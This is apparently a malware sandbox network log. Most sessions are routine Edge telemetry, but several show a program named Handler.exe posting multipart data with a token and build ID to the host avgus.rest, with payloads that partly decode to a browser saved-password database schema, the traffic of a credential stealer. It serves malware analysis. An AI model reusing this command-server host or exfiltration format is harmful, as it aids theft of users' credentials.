2025-01-13 19:18:34 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 67 34 77 6c 6e 37 67 76 73 72 39 68 76 33 65 6b 78 62 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 67 34 77 6c 6e 37 67 76 73 72 39 68 76 33 65 6b 78 62 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 67 34 77 6c 6e 37 67 76 73 72 39 68 76 33 65 6b 78 62 31 64 0d 0a 43 6f 6e 74 Data Ascii: ------g4wln7gvsr9hv3ekxb1dContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------g4wln7gvsr9hv3ekxb1dContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------g4wln7gvsr9hv3ekxb1dCont
2025-01-13 19:18:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:34 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 4b 77 51 47 46 7a 38 5a 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpKwQGFz8ZAQBpbmRleHNxbGl0ZV9h
2025-01-13 19:18:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:34 UTC	3313	OUT	Data Raw: 6b 5a 58 68 69 63 6d 56 68 59 32 68 6c 5a 42 52 44 55 6b 56 42 56 45 55 67 53 55 35 45 52 56 67 67 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 64 47 46 69 62 47 56 66 61 57 35 6b 5a 58 67 67 54 30 34 67 59 6e 4a 6c 59 57 4e 6f 5a 57 51 67 4b 48 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 55 70 4c 78 41 47 46 30 4d 64 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 64 58 52 76 61 57 35 6b 5a 58 68 66 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 4d 57 4a 79 5a 57 46 6a 61 47 56 6b 45 34 49 66 44 77 63 58 48 52 30 42 68 42 46 30 59 57 4a 73 5a 57 4a 79 5a 57 46 6a 61 47 56 6b 59 6e 4a 6c 59 57 4e 6f 5a 57 51 53 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 47 4a 79 5a 57 46 6a 61 47 56 6b 49 43 68 31 63 6d 77 67 56 6b 46 53 51 30 68 42 55 69 42 4f 54 31 Data Ascii: kZXhicmVhY2hlZBRDUkVBVEUgSU5ERVggYnJlYWNoZWRfdGFibGVfaW5kZXggT04gYnJlYWNoZWQgKHVybCwgdXNlcm5hbWUpLxAGF0MdAQBpbmRleHNxbGl0ZV9hdXRvaW5kZXhfYnJlYWNoZWRfMWJyZWFjaGVkE4IfDwcXHR0BhBF0YWJsZWJyZWFjaGVkYnJlYWNoZWQSQ1JFQVRFIFRBQkxFIGJyZWFjaGVkICh1cmwgVkFSQ0hBUiBOT1
2025-01-13 19:18:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:35 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49875	108.139.47.92	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:35 UTC	925	OUT	GET /b?rn=1736795913608&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=17238CFC5C3C6BEA3601998F5DB66AEC&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-13 19:18:36 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 13 Jan 2025 19:18:36 GMT Location: /b2?rn=1736795913608&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=17238CFC5C3C6BEA3601998F5DB66AEC&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=13426d7622b7ba457aabe811736795916; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=13426d7622b7ba457aabe811736795916; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 1d2861d9b6c0fd303c8b7539b394c190.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: vi2HGnJDTLCM_u6kpyyAXtpnUS6TiaxnoiLlD6f2XS3JNVQOI6ul_w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49877	20.42.73.26	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:35 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736795913606&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3857 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1
2025-01-13 19:18:35 UTC	3857	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 33 54 31 39 3a 31 38 3a 33 33 2e 36 30 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 35 34 62 39 61 61 37 2d 62 39 39 38 2d 34 39 38 39 2d 39 31 63 37 2d 65 34 65 63 31 61 31 36 30 33 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 36 37 36 33 37 35 30 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2025-01-13T19:18:33.601Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"a54b9aa7-b998-4989-91c7-e4ec1a160319","epoch":"3867637502"},"app":{"locale
2025-01-13 19:18:36 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=781e9dbd876248ddaa35c59edb443c2f&HASH=781e&LV=202501&V=4&LU=1736795916001; Domain=.microsoft.com; Expires=Tue, 13 Jan 2026 19:18:36 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=57de8d6d960245c9b2ae738dd5b0a162; Domain=.microsoft.com; Expires=Mon, 13 Jan 2025 19:48:36 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2395 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 13 Jan 2025 19:18:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49884	20.110.205.119	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:35 UTC	1175	OUT	GET /c.gif?rnd=1736795913608&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0f35d339ab542aa94084b3aa634ebb4&activityId=c0f35d339ab542aa94084b3aa634ebb4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1
2025-01-13 19:18:36 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1736795913608&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0f35d339ab542aa94084b3aa634ebb4&activityId=c0f35d339ab542aa94084b3aa634ebb4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=A4B615E135A0419192104F65C658D827&RedC=c.msn.com&MXFR=17238CFC5C3C6BEA3601998F5DB66AEC Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=17238CFC5C3C6BEA3601998F5DB66AEC; domain=.msn.com; expires=Sat, 07-Feb-2026 19:18:36 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 13 Jan 2025 19:18:35 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49874	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:35 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----c2d26fuaas2dbi5phdjw User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 262605 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 32 64 32 36 66 75 61 61 73 32 64 62 69 35 70 68 64 6a 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 63 32 64 32 36 66 75 61 61 73 32 64 62 69 35 70 68 64 6a 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 63 32 64 32 36 66 75 61 61 73 32 64 62 69 35 70 68 64 6a 77 0d 0a 43 6f 6e 74 Data Ascii: ------c2d26fuaas2dbi5phdjwContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------c2d26fuaas2dbi5phdjwContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------c2d26fuaas2dbi5phdjwCont
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 